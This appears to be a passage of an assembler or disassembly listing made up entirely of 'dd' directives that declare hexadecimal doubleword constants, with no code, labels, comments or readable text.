dd 673225A8h, 15854ECh, 6CE343DEh, 0D03AD579h, 0D2002934h
dd 84A9E408h, 0C08F8607h, 8C5E56E8h, 0E0983C1Fh, 1ECBB70Fh
dd 0EFC0278Dh, 0ED5D97E0h, 94A00060h, 3625D605h, 0C80E2B93h
dd 0A042B715h, 0ED3C516Ch, 96F21E64h, 891EDFC5h, 5000D47Bh
dd 79710DDh, 0DFD7EB00h, 3D22793Ah, 0BBFD248Eh, 37C281DCh
dd 0E899759Ah, 0DE0039B6h, 939D7047h, 26CEDAB0h, 9E641938h
dd 222100F5h, 7C79AF8Fh, 3C3EDF00h, 4CB11455h, 94D401EDh
dd 99B04EE5h, 0BDE820AAh, 31526B00h, 0B4D3EF36h, 30CF00B1h
dd 0A61197F7h, 4CE47B0Bh, 23CE2809h, 60908FE2h, 6895308Ch
dd 1177020Fh, 0A4FB7BF3h, 0C4F77040h, 0B089D701h, 71AB6239h
dd 8E4C20h, 7BDC9732h, 8767AAFFh, 0D548A0E8h, 0C56D0ABCh
dd 0DA00A059h, 0D4867F9Ah, 948B50FDh, 76BF00D2h, 2905CA95h
dd 0D813A701h, 9400233Ah, 0F1C6BE0Ah, 3F7900C3h, 671E7B4Eh
dd 0CF0BD24Fh, 80F411ACh, 0E7DB754Fh, 60D476C3h, 0E86BC12Fh
dd 930098D3h, 1EFBB6CFh, 4C5C5714h, 0E20021BEh, 469D5ED9h
dd 0A13CB863h, 0FEDE2EC6h, 0EB7C803Ch, 12958EDCh, 482B0078h
dd 0F8ADFFB4h, 0F90090CBh, 9CE6748Fh, 0C1AC91h, 0BD50864Fh
dd 0D0C5DD8Bh, 0C866591Eh, 56A98A00h, 14C3774h, 9D515D4h
dd 0E855934Dh, 6F02BC27h, 0E5712DDCh, 7DE08047h, 43787EBh
dd 0B08CAFF5h, 30B4C730h, 77102932h, 9DD66E09h, 81D880D4h
dd 7BD8525h, 9A2C1AAh, 0C0298423h, 0C8EF3350h, 1E293F60h
dd 58BE81h, 0E36903A2h, 31716D0Dh, 0B0603324h, 0F8F9D18Dh
dd 3B957E70h, 0D580BAD9h, 0E996CE3Eh, 11009E8Dh, 84F31C2h
dd 0CD1C032h, 368B5F7Ch, 3E001699h, 604D9445h, 7B762Ah
dd 0AAF89334h, 63D5F307h, 5FE5C501h, 56E885C9h, 0A871A82h
dd 886036FCh, 3800B02Dh, 0DAD080EDh, 77101E98h, 0FDBB005Bh
dd 0DE7FD454h, 59733B1Fh, 6D3DC800h, 0D537502Dh, 8884496Fh
dd 0D3864E1Fh, 0A60300B0h, 1A895AF0h, 0BDE310Fh, 8D5B809Eh
dd 18DA3D1Eh, 0B8BFB4F2h, 0FBF6EB28h, 867AC00h, 86EC2E7Dh
dd 168E424h, 0D03AA903h, 0EE5840BCh, 0FA8550E0h, 0AFF291Ch
dd 768991h, 88242EC0h, 7689684h, 38ADC21Eh, 9A0A3222h
dd 2B031820h, 1AC0A480h, 0BA4226E5h, 782A0044h, 0B283A3DDh
dd 843A4C28h, 0C4001C2h, 87A2F8D9h, 6D25E0CBh, 0FD3900FEh
dd 0E4099AA6h, 0F00522Eh
dd 0C277CD5Ch, 2DC818h, 0BFADA0CBh, 8EFF2B84h, 0DEA93301h
dd 6D27739Ah, 2203843h, 0EB2B9188h, 62104026h, 94A45D4Bh
dd 9AA52100h, 1A4E9F70h, 0BD0084B8h, 10D01987h, 0A2F705h
dd 0C78D3E2Fh, 293B4046h, 0D95FB107h, 0F2F2956Ah, 868D6077h
dd 14C60079h, 0F9488C9Bh, 0E500768Bh, 0D351AF30h, 7A59888h
dd 1DF8B18Eh, 42C920BBh, 0F63EA69Ah, 13BF002Fh, 24CD5810h
dd 68B00077h, 29C15AEDh, 2E0389D6h, 0F9A355AEh, 955E8026h
dd 6A621652h, 78310FD3h, 0C0BDF804h, 56152317h, 9D731B00h
dd 2B19CD5Fh, 0DB7F2Ch, 796D3C31h, 0D71284EDh, 0D1812326h
dd 107B6903h, 6C15B846h, 799F00B0h, 0A59A4F64h, 98AAFFE2h
dd 0BA7B7760h, 0C90C5000h, 85995A3Fh, 0D72312ADh, 6DC80018h
dd 0C5376748h, 4B73B201h, 2A7B426Fh, 716147CCh, 0A48C431h
dd 1D1890FBh, 2103B32Bh, 577DEDEFh, 10A00043h, 74D319F9h
dd 8C007B53h, 86427265h, 18568DF0h, 41FF0689h, 0B6005597h
dd 0F6B40490h, 0CB7A85h, 46A2C7A9h, 4770F2ABh, 87069418h
dd 4AD931h, 0CFE3E4A3h, 0D521781h, 3CC21B00h, 6A568C4Dh
dd 0E64C03EEh, 0F92DC00Fh, 3B6749E0h, 0AC001D77h, 0B7E7A3Eh
dd 0D1FD9Ch, 0E0E4637Fh, 48217C36h, 0F4623A78h, 4974E869h
dd 0EFC8FA2Ch, 0BFC31FB1h, 0AA668088h, 79E2D8FFh, 9DC1BE00h
dd 0B410EE0Ch, 3C420302h, 8E623A32h, 4DC04903h, 0F08F2D96h
dd 4641676h, 0FEF8E425h, 601CB426h, 1ED56200h, 93C76B90h
dd 2040E1ADh, 0A03923FEh, 128F3B14h, 0C39FE40Bh, 6FA8A640h
dd 5BB0E802h, 19ACE530h, 39340E3h, 7B0EE783h, 6BF091A1h
dd 219D801h, 0F851F49Fh, 0E950F4h, 254D209Eh, 0ACC6547Dh
dd 0DB079401h, 517185BEh, 90CA63E2h, 938B27h, 0E37A039h
dd 70CCE54Ch, 30481403h, 0AEF636h, 0CDF87229h, 2EEC2901h
dd 63791A58h, 317A08h, 0CDC75120h, 22A186ADh, 5A014C71h
dd 0B4EBD1E0h, 608069CBh, 1E9203A5h, 3F261AEFh, 10338608h
dd 0FAA0E721h, 198E7D0Fh, 8550635h, 4C218078h, 0C371EF0Bh
dd 0AF1600FFh, 37C9EE3h, 0A3180773h, 6E2977B5h, 8108C7D2h
dd 0F28BF06Ah, 0C501B628h, 0ED6CE5B9h, 90B67F1Dh, 81609030h
dd 5DE3D339h, 15E5F00Ah, 807705D0h, 0FC012223h, 8C297DCDh
dd 6D887C18h, 67CD0FCBh, 8BA02953h, 71878328h, 458068C1h
dd 0AC48D511h, 0F91A8C31h, 313606CDh, 52107DACh, 340FCDC0h
dd 83D41F5Dh, 0B78493h, 0C6DAF459h, 675242E5h, 701D4D00h
dd 0C399875Ch, 0EB690E02h, 7C2949h, 6A75D8FEh, 4100219Dh
dd 0C8B157BFh, 604AFAh, 8686477h, 0E3A3CC34h, 52005CF8h
dd 5F335705h, 1E01ECF2h, 0EE2D14h, 1F80394Ah, 3D008E91h
dd 4678BD4Ch, 3E2694h, 2E07DAE6h, 0F160AD48h, 4EEC5B07h
dd 1750C5C1h, 29586Ah, 0A359B031h, 0FE139419h, 0C4B0401h
dd 1C33155Fh, 21980898h, 0FE760B72h, 0F86DFC00h, 0B1A9CE42h
dd 0A154074Bh, 619BDA38h, 80C23165h, 25ADC431h, 4F41EE8h
dd 9269C6CBh, 0A0F3C176h, 2CE7C01Fh, 53069D01h, 0A68EE0A7h
dd 0B4B34081h, 0D318CB0Bh, 9E394826h, 80961100h, 669EBFBDh
dd 21C70870h, 9A825B00h, 26D1DD43h, 161CA0EBh, 508400F7h
dd 389ECECBh, 60C3A2E2h, 8586399h, 8EB0FF20h, 18B4684Eh
dd 4FCC4119h, 84C85E6Fh, 41C6FC58h, 0FE1C0C20h, 43388CE8h
dd 0EC08A30Ch, 1B9295Ah, 0A758D812h, 0D9B03517h, 5008987Fh
dd 0F42E1A21h, 0EA7C5C62h, 38409C00h, 3ECDD31h, 2682AC00h
dd 0F5588CFAh, 0AD9A18E8h, 84F1B048h, 70194127h, 0C2360162h
dd 0E8D9E65Fh, 5020ECEDh, 7EDC8600h, 0AA08C024h, 1F5F00FBh
dd 0C561A088h, 0AC00E9ABh, 0CC6CD855h, 0EA75EDECh, 587836h
dd 0B0B4A476h, 0DF0C87Ah, 18F99503h, 81FBA728h, 46D86AF6h
dd 0BBE600FDh, 3247E3FEh, 2D00B41Ah, 0F3A84D29h, 208A2Fh
dd 0CD110E23h, 22FA43B2h, 0D4A15A00h, 300BAEC7h, 3B977B37h
dd 0F9F2799h, 0FD080059h, 179E292Eh, 0DA394705h, 0DD8075E8h
dd 9F6AF5h, 76C7920Bh, 749409CAh, 3333Fh, 55DC20B3h, 1E187D6Bh
dd 0C0A32C24h, 9E72F569h, 0D7005F5Ah, 88038350h, 39451BBh
dd 8A4C828Ch, 0C6AFEC71h, 0D61230A2h, 1B0024A1h, 6B0AB8B9h
dd 99350096h, 0D2839C1Bh, 0B400228Eh, 89A090E1h, 613FE6h
dd 0B30F3B7Ch, 0A3F5718Bh, 0B1BA1828h, 8A677F00h, 8FE639D8h
dd 28276F1Ah, 70D90A27h, 0EC77A2F6h, 1B765606h, 18A403h
dd 57E31FC9h, 59D87374h, 93D0C7Dh, 7017729h, 0AC5C439h
dd 60604832h, 0AEF40C69h, 8403E62h, 6BF18300h, 708A073Ch
dd 0D05C7338h, 931E84F2h, 89A03052h, 0BA3B307Bh, 9C7F00B9h
dd 519835E7h, 0A037A1Ah, 0DF82D3AEh, 7A1F80A0h, 0C43355D4h
dd 0D6A1C11Eh, 0F507642Eh, 28A0916Ch, 31ED38h, 9E471D4Ah
dd 3D4FF422h, 5C19083Ch, 3F33C7Bh, 0D6BB3391h, 0F88CA3EFh
dd 1A0939Bh, 0C1B1715Dh, 8CD93E49h, 20349708h, 0A1AA0030h
dd 0DC520DBh, 0A500A805h, 9EDE0207h, 159A32h, 0F0B398C6h
dd 75CFA494h, 4FF20601h, 3D8D7737h, 8BB67091h, 71B30292h
dd 0E63891C9h, 0A92D2184h, 602D80A1h, 0D000AFF2h, 0BEB3E55Ch
dd 673C67E6h, 815B98BBh, 834805A6h, 56D49D11h, 0B722F8AAh
dd 32BD3161h, 87BEC508h, 561DE320h, 28B9C810h, 7B1100ABh
dd 8BE2F63Bh, 1330D532h, 0BE5A604Dh, 2C045405h, 0A9563B21h
dd 9E112AA3h, 5600FE3Eh, 9F69A2EEh, 5D143C07h, 88C496h
dd 57A38793h, 3C43D5BEh, 1F9E3384h, 0C428A9h, 39387564h
dd 0F6240E15h, 0CF273Bh, 876B181Fh, 1CA4DDh, 8E9D6553h
dd 0AA3132DBh, 0CB26000h, 0BCE4D0ACh, 18150744h, 1637E6D6h
dd 7D6009DEh, 151B9C21h, 3CDA008Ch, 0E71811F2h, 93203F8Eh
dd 0B5C0FAAh, 2D003848h, 0A6080513h, 1E6EF507h, 0EA5054C5h
dd 6020D5D8h, 5B4E3032h, 0EB306A16h, 0F404605Ch, 6C9C0067h
dd 0B1D7C61Fh, 0D5E8C74Fh, 72205B60h, 3768BDh, 0B894FF8Ah
dd 9ACFE70Fh, 29FBB718h, 4BBB6Ch, 736253A3h, 0B0DD6D1h
dd 0EBD0903h, 2632CEACh, 40E449h, 3BD82212h, 99D9C98Bh
dd 0FB183590h, 6CF16708h, 40C3C4D7h, 0AD684077h, 238E00AFh
dd 113B4143h, 0DE0E6DD1h, 8F32A1A3h, 0C0F6E08Ch, 0EBE9DDh
dd 0D9E75759h, 0A04EA609h, 0CF38A400h, 981362ACh, 0B94D0FB0h
dd 0E1603DA1h, 1D91A7EEh, 0BD50A300h, 5F2AC042h, 48AB7EB7h
dd 5A00C21Eh, 3F22A9B1h, 1008FFCh, 40D295F4h, 0C18D39h
dd 78E0FFC7h, 0C8813518h, 0B5B87E00h, 6ED16B06h, 0BC1F008Fh
dd 0D524AABBh, 9704F082h, 5771AB0Ah, 435FED97h, 99FF9EDAh
dd 94C4B07Fh, 26760081h, 578F80BDh, 1B2CA63Fh, 0C11F4F86h
dd 19B0651Dh, 60970EB7h, 91D468EFh, 670FAF20h, 735229h
dd 14D04049h, 7DBA3C1Ch, 133BF900h, 0C762991h, 0FC6A6003h
dd 0F8B8CB0Fh, 1955A9h, 5A757B7Fh, 140E4974h, 1CBEB70Ch
dd 7260DAh, 2670D964h, 56D74452h, 209300Eh, 7BC09F18h
dd 7DC0D825h, 437600D9h, 0BB8339DCh, 4070FFDh, 0F4B62E5Bh
dd 0B49F0570h, 61C1CC9h, 41120EB3h, 81B5CAE5h, 0D17E6AB0h
dd 69462068h, 1F9B8A0Eh, 2004A028h, 0C0DA1Eh, 7FB0257Eh
dd 79D82405h, 9221F90Eh, 603FA08Fh, 3A521410h, 5E00220Eh
dd 0A77CF673h, 5B01C0ECh, 4030FB4Fh, 0CB3034A4h, 0DCBB0022h
dd 0D60C7CB3h
dd 0D730AA1Eh, 5258C91Fh, 69DE0633h, 60514029h, 1D0E37EEh
dd 0A05FB8F2h, 9485AAA0h, 0C325037Dh, 0AED00C56h, 4062800h
dd 20AD287Ah, 0DBCE002Eh, 0F65B54CBh, 4A00F239h, 0C1B30401h
dd 1FA20ABh, 69466A30h, 0C029F197h, 0E29064A0h, 1E857603h
dd 0A0BA869Fh, 0F030EBh, 64656229h, 80776147h, 75E2B703h
dd 0E0E3A798h, 0F19020AAh, 9650488Ch, 3041EF18h, 2E04B4F5h
dd 0E82338h, 43A05CF8h, 5E001D6Dh, 4AEEDDDAh, 18F92AA2h
dd 602E2428h, 7BEACB51h, 0C9C50201h, 0C0C2194Bh, 0C129FCD0h
dd 2EB3E420h, 99E3207Dh, 0CC981400h, 0AD0C657Bh, 0A867619Bh
dd 6037B91Fh, 0F70D4A1Eh, 18699F57h, 41DA5BD4h, 1D788175h
dd 0ED0BEBBEh, 4C6933E0h, 0AD0067C1h, 0B23F0A91h, 0CCE5D9BAh
dd 45391178h, 199B0321h, 0E8AA900Dh, 0EBC1C5h, 0A16CDCFAh
dd 71E80EBAh, 1C0450B0h, 0B2DDC4E2h, 6F8134C1h, 483F6F0h
dd 95E39412h, 6A28C09Dh, 8A0717F8h, 714B4692h, 56486E30h
dd 9BF70109h, 4D2F07ECh, 0A960F879h, 0A7DA1000h, 6626278Dh
dd 0FDE0E8h, 623DEB8Fh, 0C633371h, 0BCFBFF02h, 40B982D6h
dd 0DE9369h, 80C613EBh, 32ABAE5Dh, 7A4BEF1Eh, 59007C3Ah
dd 1BF04752h, 0EF56B3Ah, 202AB0ADh, 7100D9AFh, 6CE60F90h
dd 5E4B0900h, 19AA80F3h, 6C60379h, 5C9BCDEEh, 0E00E60A6h
dd 5DC868E1h, 0DD3D0D03h, 44083052h, 6CB89E21h, 0D286101Dh
dd 0F85D8D83h, 689E621h, 11BD5F18h, 2600113Fh, 0F51B2D28h
dd 0FC27F384h, 33F1744Dh, 7F505D92h, 66BF10FFh, 9E18BCFFh
dd 0F7F0B7E9h, 4E1700F3h, 2DEA13Dh, 0C6040F93h, 0E91B835Ah
dd 0A0D0CCC2h, 4B60248Ch, 9251C0D6h, 3BE10979h, 0CF179700h
dd 65237A67h, 6C717C46h, 4D40A02Dh, 169C669h, 0C36277D3h
dd 7E54D8h, 0DC31B7B3h, 8108479Fh, 77B65000h, 262A37C9h
dd 0F22C005Dh, 0FD9C13D3h, 50260ABBh, 8D004DEAh, 1C0CD8F8h
dd 5AF401EBh, 0D3932870h, 0ACCC856h, 5EA0DFA3h, 0DF00D8E5h
dd 8740DD89h, 0E4468h, 0D45AA47Bh, 0DA5FC0D7h, 7A795900h
dd 54CE386Dh, 0FCBB01EFh, 14C32D94h, 7C3BE82Fh, 41A900Fh
dd 9AE80013h, 0F8275F31h, 0E93F01DEh, 9EA7FABBh, 25188169h
dd 0EB849803h, 7C9002F0h, 3038CCEEh, 20181F21h, 0FC3864CCh
dd 0D4ED311Ch, 0EC5BA368h, 7EF8EA29h, 3BDFD906h, 748F076h
dd 9781809Bh, 69314043h, 77015911h, 0C441FC47h, 18F7A465h
dd 20810E08h, 89A0F171h, 46DE96D9h, 30CA9800h, 71F89F88h
dd 0C31EEBFh, 0FE8F9038h, 77000510h, 82CE32B2h, 46661h
dd 347303DCh, 0E22CAEBDh, 1D94A20Eh, 0B4A9C09Ah, 282329h
dd 0AFC81CE5h, 0C06B15C4h, 7F970700h, 25B3E99Ah, 8D30051h
dd 0A38E2766h, 4C3D2192h, 5500F329h, 14C7B915h, 1450642h
dd 973AA296h, 0D020F6AEh, 2200698Eh, 6175F309h, 47AA15h
dd 0D35840A8h, 60D13B24h, 14C1301Fh, 1D6200BCh, 0E17855F0h
dd 206B018Fh, 3E4FBE2h, 0B1A4E8C4h, 99276900h, 0C10ADEF5h
dd 0B1D161A9h, 0D4CC2F87h, 620042D9h, 0A62A7B84h, 1CF1EF2h
dd 0FB3A469Fh, 2021B3EAh, 7400C66Eh, 0CB906A1Dh, 0AE3527h
dd 0C064F62Ah, 0CC0520B0h, 0A824BC00h, 19594E2Eh, 8D906Dh
dd 18D217C5h, 69E30886h, 25005576h, 53A41D4Ch, 1891898Ah
dd 0D1C3B4D1h, 0E8180498h, 0F011E93Dh, 7D5FA3Ah, 429646CFh
dd 60AE3064h, 4100C657h, 0EBB12014h, 0BDF80827h, 4700AD58h
dd 704F9E3Ah, 0BA93AFh, 7610C7F0h, 54068125h, 6FA25305h
dd 61817AD3h, 0E1412FBBh, 31812A4Dh, 0EBC0F261h, 1D3D8B4h
dd 33812400h, 85AF29FBh, 9B061F16h, 7338B078h, 10005430h
dd 9445F908h, 0E84462FFh, 20B96037h, 6C54323Ch, 803AED3Fh
dd 0F0E3F584h, 30A07B83h, 2F70AE01h, 7D987D15h, 107C9430h
dd 7EE5334Fh, 2C642808h, 53A3AB3h, 0FA214E33h, 0F75313D0h
dd 0AC270300h, 0C355C5AEh, 0AAD8C19Eh, 0B9C905EAh, 0E4150AF0h
dd 8E805899h, 89080E55h, 3E808546h, 93366F60h, 3F7B0E6Ah
dd 8C9519FCh, 21290307h, 0F5F230E7h, 7507818Bh, 0E880B32Ah
dd 17873377h, 0CAAAA290h, 24022920h, 18547940h, 4F510FA4h
dd 9CC023C4h, 0D36E48FAh, 41ED6101h, 94B4D730h, 0C05EBAF0h
dd 0BFF0AEF0h, 0ED003412h, 5B798B3Dh, 58108236h, 0A008629h
dd 0D7D87558h, 1801B853h, 485695BCh, 0DADC6DBBh, 124E887h
dd 4710140Bh, 0FFF05459h, 16E991E8h, 0F5E7EC00h, 9C66E509h
dd 0E0F031h, 4C0FD236h, 0F119E9B6h, 2A97A58h, 77FF6A96h
dd 0E2A1407Fh, 4192006Dh, 58DE1280h, 45073E11h, 0B1053207h
dd 0AA1A4B10h, 685C0317h, 987CCAB3h, 3F572801h, 6726E66Dh
dd 37D79F8h, 0B5A6886Bh, 0B4F0E99Ch, 583EDAF6h, 40F00F7Ch
dd 598081A9h, 0DB601657h, 2C71C086h, 74F4A2Eh, 3CC7A00h
dd 1E9254BCh, 53FA3A25h, 0A1F65D03h, 380050CFh, 0B207643Ah
dd 7CEFFC3Dh, 0BB6B0069h, 0E9D08615h, 660030BCh, 7A2D54D1h
dd 0F27619h, 917E36E6h, 7C17E181h, 0CB4C0418h, 0EF1130h
dd 0AF604702h, 50C38BDBh, 955C151Eh, 0A0A3C201h, 6CF84C58h
dd 5BB50353h, 8B65D727h, 7F41B90Ah, 16028421h, 401F8149h
dd 0EEEA77h, 0CBE02C40h, 356A89B5h, 0A2611603h, 98E8C422h
dd 48818411h, 0EB3DD038h, 52B47A80h, 0D7A1D196h, 9B397F05h
dd 9C055C07h, 0A8009558h, 2527F5CDh, 1B105C68h, 0A45ABC00h
dd 78ED91E2h, 1D6D4E00h, 32B447A9h, 65FB00F0h, 0B5B755E4h
dd 0E860284Dh, 0E5AAB310h, 0CCCE0A88h, 0EA4A3Eh, 0E73902C9h
dd 0EA052B52h, 6C69D8DFh, 490D48C0h, 0F26F1DBFh, 0FB00B86Dh
dd 16DD2233h, 6E078B5Fh, 0DC179509h, 982606h, 1CE2E0B9h
dd 0A41536FEh, 24AD4200h, 6E618CBBh, 0FAD000F2h, 6CC797F8h
dd 69335F99h, 0F8E438AAh, 0E480417h, 0B09CDB84h, 5D585440h
dd 83018978h, 15B6C427h, 47DCD36Ch, 0A717014Ch, 0CE3E8BAAh
dd 94040E8h, 0A9013643h, 77ED96E2h, 38F024E1h, 342FCA0h
dd 79CE11BEh, 80BF69B4h, 9218F4C2h, 24E46A00h, 0D0CA0E2Bh
dd 0E6EC3Bh, 0C9354C5Ch, 0D6FB896Eh, 0D62B900h, 2D678490h
dd 7AAA0083h, 0F9BC025Ah, 4900B08Ch, 0AC5280C8h, 729FAEDh
dd 0BF51F376h, 44F8B9E4h, 0CBD2EC00h, 70D61FDh, 4DDD01AFh
dd 0B2ADEAF7h, 0ACD540BEh, 0D4006502h, 6CB8C7D3h, 1E576E9Ch
dd 0F9D8DCh, 5A90C1E2h, 97B8F366h, 6D09E700h, 0B7E035A3h
dd 5F361E73h, 90CA801Eh, 113DD02Ch, 1152B03h, 0B17D0277h
dd 5880C523h, 0C20A7FE2h, 80CDCFCh, 18BCCA7Bh, 985FE55h
dd 8EFF7ADFh, 234ED500h, 813ADD66h, 0D1805046h, 0B27FDB18h
dd 5021C430h, 0FAD28CB1h, 64371DF6h, 5C81C006h, 1DF4D496h
dd 7A4A0563h, 0AF4000A4h, 7C43255Ah, 831D7BB7h, 1AC0148Ah
dd 185654FCh, 2B7900B8h, 0CAC64148h, 917BCE97h, 41F11CAh
dd 60752D70h, 74D510C7h, 83005967h, 70FEF429h, 0D0659Fh
dd 0D7B517B7h, 7B1CDA49h, 90007574h, 4DC4BB6h, 0FAD2BF62h
dd 2712000Eh, 0ED7CA771h, 0E50063C6h, 654DEBB9h, 20222Fh
dd 1E239566h, 5A7CD671h, 86319002h, 0E04D9974h, 7678E51h
dd 0D0F8F5A6h, 0AA9E804Ch, 0B4FC138Dh, 27151100h, 694EE9DFh
dd 0BE48007Dh, 0B8B91CD5h, 9700491Fh, 3E4CB689h, 2B9CC1h
dd 527E3C50h, 0BFE5A8B7h, 20DA03Eh, 51BBB3D5h, 0CA2AC0C3h
dd 359712Dh, 30654EE7h
dd 98A86881h, 367DBE06h, 0A5D63D00h, 21D19982h, 0F998AB9Ah
dd 0C2E896C4h, 0ADDE003Eh, 0A4B6401Eh, 0BC02435Bh, 59D27523h
dd 80B0AF1Bh, 4ED6E639h, 3CC20EA5h, 59E155CCh, 0F40D228Bh
dd 0EE00A46Dh, 72430257h, 741FA4Eh, 0B2BAA82Fh, 64305103h
dd 8082E956h, 0E693CD68h, 91E56Bh, 731F8DA6h, 0A933AF20h
dd 9841E900h, 700D3727h, 9DB12664h, 0ACAB01C2h, 0DCB23FCCh
dd 6F00C624h, 943126EFh, 0E8E927h, 0F8BBCE7Dh, 0DDFEDE95h
dd 100F0500h, 8CA64422h, 94783B9Eh, 0AD078BC8h, 0E14F6E7Bh
dd 0DC720705h, 0A20067E3h, 0BEA83F6Ah, 95B888C9h, 52B04343h
dd 0F6074908h, 313782BBh, 7F506457h, 0A1A501h, 2516B0C5h
dd 765EBE89h, 0D27B0B05h, 9C407783h, 9AFFA39Eh, 0E9D7A06Ch
dd 0B7B585Bh, 0F70A4600h, 1121A068h, 0BC2C3F00h, 0C98AFF77h
dd 169B0029h, 1783DA03h, 8200CC71h, 0FD94EC21h, 38BE431Dh
dd 2383113Ch, 7265F0CFh, 0FDE90889h, 9E942496h, 1AB7B01h
dd 0BE0F57D1h, 7860FCh, 0A8966364h, 0B110A7B6h, 0F1679400h
dd 9D81197Eh, 25350062h, 0CFB63E66h, 7B02C22Bh, 0A6465D48h
dd 0B3EC806Ch, 2D3B8Eh, 590B1CFCh, 7F05D165h, 0E1177D1Dh
dd 1715AC0h, 7E02ADh, 0A4AB51C2h, 0FC6EDEB6h, 36B8B8C0h
dd 24C45333h, 47FC7h, 976C218h, 38903D02h, 2196722h, 0FB45D0C9h
dd 64409B6Ch, 2B0051BDh, 0E7163F69h, 1EEAF123h, 86FFE21Fh
dd 127B8F94h, 6AF6E000h, 0A4EF3166h, 7DBD241Bh, 45803AA0h
dd 0BB2D714Bh, 2803D16Eh, 58182FA3h, 0F0E7B893h, 0C6373210h
dd 92C3BA50h, 0FAB8D790h, 1A3FE500h, 2ACE7577h, 0F9820EC9h
dd 7C6EDDEEh, 0D8641460h, 0AF004065h, 0A5D3C01Dh, 71035AAh
dd 2EA01EA9h, 0BF3230FCh, 0F200CD03h, 7F5E6CADh, 3B022946h
dd 728EE3h, 6A8C3C53h, 7EBE2586h, 4D9A3318h, 12853140h
dd 0ECC678h, 0B3FC4421h, 9200EF9Fh, 7A95502h, 1CB4101Eh
dd 4078E6D9h, 0BAB06295h, 0B500C3A5h, 0FF3FF848h, 0C6677Bh
dd 340E9689h, 0E0E692C7h, 0EAF22300h, 0A06AAB4Ch, 46DEC7Dh
dd 843FC094h, 0F948C0C8h, 8902E048h, 0D955713h, 1AB060E7h
dd 3C2500BAh, 8DF05F30h, 0C6049388h, 451E357Bh, 0FA76F090h
dd 75C500C7h, 0A89A15D5h, 1A003546h, 340BA072h, 8A206Ch
dd 16DAE91Ch, 8C48C9B4h, 0CE6F1F00h, 0CD3196EAh, 9C170062h
dd 79C80464h, 0BD002E55h, 0EB5B0E86h, 0D0EEC4h, 0E55C944Ah
dd 75EA0B36h, 0D24D8802h, 0C9F01224h, 0A4C4ED0Ch, 0C7EC1285h
dd 80581DABh, 84AFA2C8h, 5E012404h, 6638F2FFh, 56F43CCEh
dd 7CC33D03h, 0B7E27E8Ch, 1007A311h, 39C8E544h, 0E7F19201h
dd 0AF43F0h, 15F3AE3Fh, 2FC305A6h, 2188606h, 180305Eh
dd 2AA4EA3Dh, 0D8411E14h, 76019EC8h, 0A5BFDDCEh, 9711D8Dh
dd 38E2D8h, 0A6688C7Fh, 0B91949AAh, 0BCC8ED0Fh, 0D3A9404Ah
dd 0B735F8h, 0D0CDC248h, 0B62D8B88h, 9F70E01h, 789C84AEh
dd 4BA08DCCh, 0CC1EC73h, 108AD019h, 1F9400E6h, 5B3C6608h
dd 280F538Dh, 63C5FAAEh, 0C87C6E0Bh, 770488h, 63BD5D47h
dd 5914DC39h, 126FB500h, 73A71620h, 72E20002h, 4BD6CE33h
dd 3700CCA5h, 714D85FCh, 41AD882h, 9272709Ah, 0D258800Bh
dd 247DB78Ah, 0C156C01Dh, 5CE6B40h, 0E71EC7h, 62E61028h
dd 0DA7A6DB4h, 0FB6A521Ch, 4105D800h, 6530ACh, 5E49F1FDh
dd 604F6D7Eh, 0D8448500h, 82B467DEh, 80870370h, 0E415C79Dh
dd 0C95845F0h, 1A713471h, 0B4F00600h, 7039E201h, 0B8B100B5h
dd 59C7FECBh, 1E00226Fh, 0CA7880D9h, 0ACF2D1h, 5F821C9h
dd 3E076A3Ch, 51723400h, 0C038FA0Eh, 173100F5h, 0B3ED6E0Fh
dd 820F8191h, 0E0A6DEF4h, 0DDF61AABh, 0EB9B0035h, 86583DB7h
dd 0FD0078CEh, 0ADE02F25h, 7036233Fh, 0D95E00AEh, 9ACCBCFh
dd 1B01B04Ah, 0D4B9EDDDh, 29F8E862h, 0D02158B4h, 0CAD27901h
dd 3484102Ch, 40156A0h, 29B6D842h, 14605791h, 0C6BA00F7h
dd 3B3AD177h, 6200E24Ah, 350DCBBCh, 0EFD69D7Eh, 7D71DF8h
dd 0D85AB498h, 0DDDBF004h, 18008D46h, 97E81AEBh, 5E41071h
dd 34C6FE6Fh, 0FD2493DAh, 80408381h, 8674ED90h, 3BBBD896h
dd 0C1307D53h, 0FBCBCD28h, 1EF42D3Bh, 1B001F35h, 0D47E2BB9h
dd 432600DBh, 890DE11h, 3C3EEE52h, 9F969D63h, 0AE609D00h
dd 4619B9h, 5D7C64CAh, 0F113DBBh, 0DF91FA00h, 4E93ADCBh
dd 0B7843AA3h, 8B28DA02h, 0B040F35Dh, 1701A4F0h, 8A6B4B5Ch
dd 5C4733C5h, 0BF845910h, 50A47C6Fh, 33B70C62h, 3D18058h
dd 3EA9FB98h, 0A033F9EAh, 0F0F760BAh, 3CDCE73h, 491D8CD9h
dd 79B86720h, 9A00184Bh, 721F8FA1h, 90F182ECh, 19140067h
dd 736158A8h, 7C7F7850h, 0AD98BA04h, 44D0C120h, 4AE153h
dd 0F601CB54h, 0AB58D80Ah, 25C4DF0Eh, 70905247h, 9A07F0A9h
dd 317F00B4h, 45499DE5h, 6004290h, 0DF411B3Dh, 1C6B972h
dd 0A0EBA3A9h, 0C64435B2h, 0C5B39CC8h, 76B6341Dh, 0C4FE84Ah
dd 0F19C9003h, 7F9003ECh, 4A534E19h, 0B970CDA0h, 4CFC2718h
dd 0D31F28h, 7AEC282Ah, 4B3FEA1Eh, 0BA73650Ah, 0E441BC2Dh
dd 60C87CE1h, 0E2373BA9h, 6595B680h, 4EA7278Fh, 9F1C2E73h
dd 0F5400985h, 46EE50FCh, 66AF1F0Ch, 0BE810099h, 9EF7E2B1h
dd 0FA3F90A8h, 0E9CF0D00h, 0F6D44BB8h, 9C57A94h, 5446379Dh
dd 0B8953306h, 0F3C82303h, 999F2EBh, 673C91B1h, 65F1C800h
dd 56EC1922h, 1530321Fh, 0ACC661F0h, 0A37102AFh, 7E8B9329h
dd 400285Ah, 6576D0DEh, 366E623h, 3185D421h, 0ACD0AFA7h
dd 0CB4BB4CEh, 46162C01h, 38B849E0h, 3FA2A100h, 8B59C5D9h
dd 0E83B6003h, 0A0C79A36h, 202DCDA6h, 6A01C633h, 0AC158558h
dd 0B3708E34h, 1C98905Bh, 0D6CB0h, 6DD972D2h, 810055F6h
dd 42916E0Eh, 98E59Fh, 1DE497E3h, 73C37925h, 0B160DEE9h
dd 0B71D5734h, 914770DBh, 7127D5Bh, 0F43F473h, 0B8202DC5h
dd 5F2FAB1h, 1F531C01h, 9F41E936h, 0DF7CCC70h, 99E50030h
dd 270DE4D3h, 7E50D109h, 493E80D8h, 0C54146Fh, 376A1225h
